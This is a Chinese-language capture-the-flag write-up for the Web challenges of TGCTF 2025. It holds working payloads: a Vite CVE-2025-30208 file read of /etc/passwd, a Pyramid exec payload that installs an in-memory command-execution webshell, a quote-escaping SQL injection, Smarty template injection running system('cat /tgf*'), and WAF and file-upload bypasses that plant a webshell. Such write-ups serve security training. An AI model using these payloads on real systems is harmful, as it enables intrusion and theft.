【Web】TGCTF 2025 题解
目录
前端GAME
偷渡阴平
熟悉的配方,熟悉的味道
后台管理
老登,炸鱼来了?
火眼辩魑魅
直面天命
(ez)upload
前端GAME
是vite框架
参考
Vite CVE-2025-30208 安全漏洞 - 日升_rs - 博客园
/@fs/etc/passwd?import&raw??
读/proc/1/cmdline
读start.sh
读 /tgflagggg
偷渡阴平
绕waf
<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__);
用session来绕
熟悉的配方,熟悉的味道
经典pyramid框架,漏洞点在exec
致敬的强网杯2024
https://xz.aliyun.com/news/16090
payload:
exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")
成功打入内存马
后台管理
显然有一处SQL注入,但waf掉了闭合的单引号
有点像西湖的sqli or not
【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)_西湖论剑·中国杭州网络安全技能大赛 赛题-CSDN博客
对username后的引号进行转义,让username为 \' AND password =
SELECT * FROM users WHERE username = '\' AND password = 'union select *,2 from flag--+'
老登,炸鱼来了?
无解的题目只能用条件竞争,竞争safe的值是否为nil
跑了一下没跑出来😓
火眼辩魑魅
smarty注入秒了
{if system('cat /tgf*');}{/if}
直面天命
扫出来./hint路由
访问./aazz
拿到源码
打SSTI
blacklist去除'{'和'}',本地起个服务用fenjing梭一下,把{{}}换成天命难违
(ez)upload
dirsearch扫出来一个bak
访问index.php.bak
看到upload.php
访问upload.php.bak看到上传文件的逻辑
文件内容用PCRE回溯上限绕过,文件后缀用move_uploaded_file特性绕过
参考
PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌
move_uploaded_file绕过 | Lazzaro
成功传马